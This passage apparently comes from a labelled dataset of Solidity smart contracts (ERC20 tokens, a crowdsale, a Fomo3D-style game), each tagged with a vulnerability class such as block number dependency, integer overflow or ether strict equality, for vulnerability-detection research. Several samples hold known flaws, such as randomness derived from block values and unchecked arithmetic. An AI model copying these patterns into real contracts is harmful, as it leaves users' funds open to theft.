(1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, NTech3DDatasets.EventReturns memory _eventData_) private returns(NTech3DDatasets.EventReturns){ uint256 _com = _eth / 50; uint256 _long = _eth / 100; if(address(otherNTech3D_)!=address(0x0)){ otherNTech3D_.potSwap.value(_long)(); }else{ _com = _com.add(_long); } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit onAffiliatePayout( _affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now ); } else { _com = _com.add(_aff); } uint256 _nt = (_eth.mul(fees_[_team].nt)).div(100); if(_com>0){ if(address(communityAddr_)!=address(0x0)) { communityAddr_.transfer(_com); }else{ _nt = _nt.add(_com); } } if(_nt > 0 ){ uint256 amount = _nt.mul(ntOf1Ether_); _eventData_.NTAmount = amount.add(_eventData_.NTAmount); NTToken_.transfer(msg.sender,amount); address(NTTokenSeller_).transfer(_nt); } return (_eventData_) ; } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].prevres = round_[_rID].prevres.add(msg.value); emit onPotSwapDeposit( _rID, msg.value ); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, NTech3DDatasets.EventReturns memory _eventData_) private returns(NTech3DDatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].nt)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0){ plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, NTech3DDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit onEndTx( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.NTAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } }",./Dataset/block number dependency (BN),0,0 0x03dd0a7ddde3d83685720a36f8f359406ff30bc5_WTI_10_20190919.sol,"pragma solidity ^0.4.21 ; contract WTI_10_20190919 { mapping (address => uint256) public balanceOf; string public name = "" WTI_10_20190919 "" ; string public symbol = "" WTIAUH "" ; uint8 public decimals = 18 ; uint256 public totalSupply = 12597120000000000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }",Safe,8,8 1935.sol,"pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract DomonXToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = ""LZC""; name = ""ÂÌÖÞÁ´""; decimals = 18; _totalSupply = 20000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 953.sol,"pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * contract MinterStorePool **/ contract MinterStorePool is PausableToken, MintableToken { string public constant name = ""MinterStorePool""; string public constant symbol = ""MSP""; uint8 public constant decimals = 18; } /** * contract MinterStorePoolCrowdsale **/ contract MinterStorePoolCrowdsale is Ownable { using SafeMath for uint; address public multisigWallet; uint public startRound; uint public periodRound; uint public altCapitalization; uint public totalCapitalization; MinterStorePool public token = new MinterStorePool (); function MinterStorePoolCrowdsale () public { multisigWallet = 0xdee04DfdC6C93D51468ba5cd90457Ac0B88055FD; startRound = 1534118340; periodRound = 80; altCapitalization = 0; totalCapitalization = 2000 ether; } modifier CrowdsaleIsOn() { require(now >= startRound && now <= startRound + periodRound * 1 days); _; } modifier TotalCapitalization() { require(multisigWallet.balance + altCapitalization <= totalCapitalization); _; } function setMultisigWallet (address newMultisigWallet) public onlyOwner { require(newMultisigWallet != 0X0); multisigWallet = newMultisigWallet; } function setStartRound (uint newStartRound) public onlyOwner { startRound = newStartRound; } function setPeriodRound (uint newPeriodRound) public onlyOwner { periodRound = newPeriodRound; } function setAltCapitalization (uint newAltCapitalization) public onlyOwner { altCapitalization = newAltCapitalization; } function setTotalCapitalization (uint newTotalCapitalization) public onlyOwner { totalCapitalization = newTotalCapitalization; } function () external payable { createTokens (msg.sender, msg.value); } function createTokens (address recipient, uint etherDonat) internal CrowdsaleIsOn TotalCapitalization { require(etherDonat > 0); // etherDonat in wei require(recipient != 0X0); multisigWallet.transfer(etherDonat); uint tokens = 10000000000000; //0,00001 btc token.mint(recipient, tokens); } function customCreateTokens(address recipient, uint btcDonat) public CrowdsaleIsOn TotalCapitalization onlyOwner { require(btcDonat > 0); // etherDonat in wei require(recipient != 0X0); uint tokens = btcDonat; token.mint(recipient, tokens); } function retrieveTokens (address addressToken, address wallet) public onlyOwner { ERC20 alientToken = ERC20 (addressToken); alientToken.transfer(wallet, alientToken.balanceOf(this)); } function finishMinting () public onlyOwner { token.finishMinting(); } function setOwnerToken (address newOwnerToken) public onlyOwner { require(newOwnerToken != 0X0); token.transferOwnership(newOwnerToken); } }",./Dataset/ether strict equality (SE),3,3 865.sol,"pragma solidity ^0.4.24; library SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { if (x < y) revert(); return x - y; } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract AgriToken is ERC20Interface, Owned { using SafeMath for uint; uint256 constant public MAX_SUPPLY = 1000000000000000000000000000; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; bool public isAllowingTransfers; mapping (address => bool) public administrators; modifier allowingTransfers() { require(isAllowingTransfers); _; } modifier onlyAdmin() { require(administrators[msg.sender]); _; } event Burn(address indexed burner, uint256 value); event AllowTransfers (); event DisallowTransfers (); constructor(uint initialTokenSupply) public { symbol = ""AGRI""; name = ""AgriChain""; decimals = 18; _totalSupply = initialTokenSupply * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public allowingTransfers returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public allowingTransfers returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyAdmin returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function mintTokens(uint256 _value) public onlyAdmin { require(_totalSupply.add(_value) <= MAX_SUPPLY); balances[msg.sender] = balances[msg.sender].add(_value); _totalSupply = _totalSupply.add(_value); emit Transfer(0, msg.sender, _value); } function burn(uint256 _value) public onlyAdmin { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(burner, _value); } function allowTransfers() public onlyAdmin { isAllowingTransfers = true; emit AllowTransfers(); } function disallowTransfers() public onlyAdmin { isAllowingTransfers = false; emit DisallowTransfers(); } function addAdministrator(address _admin) public onlyOwner { administrators[_admin] = true; } function removeAdministrator(address _admin) public onlyOwner { administrators[_admin] = false; } }",./Dataset/integer overflow (OF)/,4,4 84.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract Fomo is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x591C66bA5a3429FcAD0Fe11A0F58e56fE36b5A73); address private admin = msg.sender; string constant public name = ""Fomo War""; string constant public symbol = ""FW""; uint256 private rndGap_ = 1 seconds; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(32,0); fees_[1] = F3Ddatasets.TeamFee(45,0); fees_[2] = F3Ddatasets.TeamFee(62,0); fees_[3] = F3Ddatasets.TeamFee(47,0); potSplit_[0] = F3Ddatasets.PotSplit(47,0); potSplit_[1] = F3Ddatasets.PotSplit(47,0); potSplit_[2] = F3Ddatasets.PotSplit(62,0); potSplit_[3] = F3Ddatasets.PotSplit(62,0); } modifier isActivated() { require(activated_ == true, ""ouch, ccontract is not ready yet !""); _; } modifier isHuman() { require(msg.sender == tx.origin, ""nope, you're not an Human buddy !!""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function 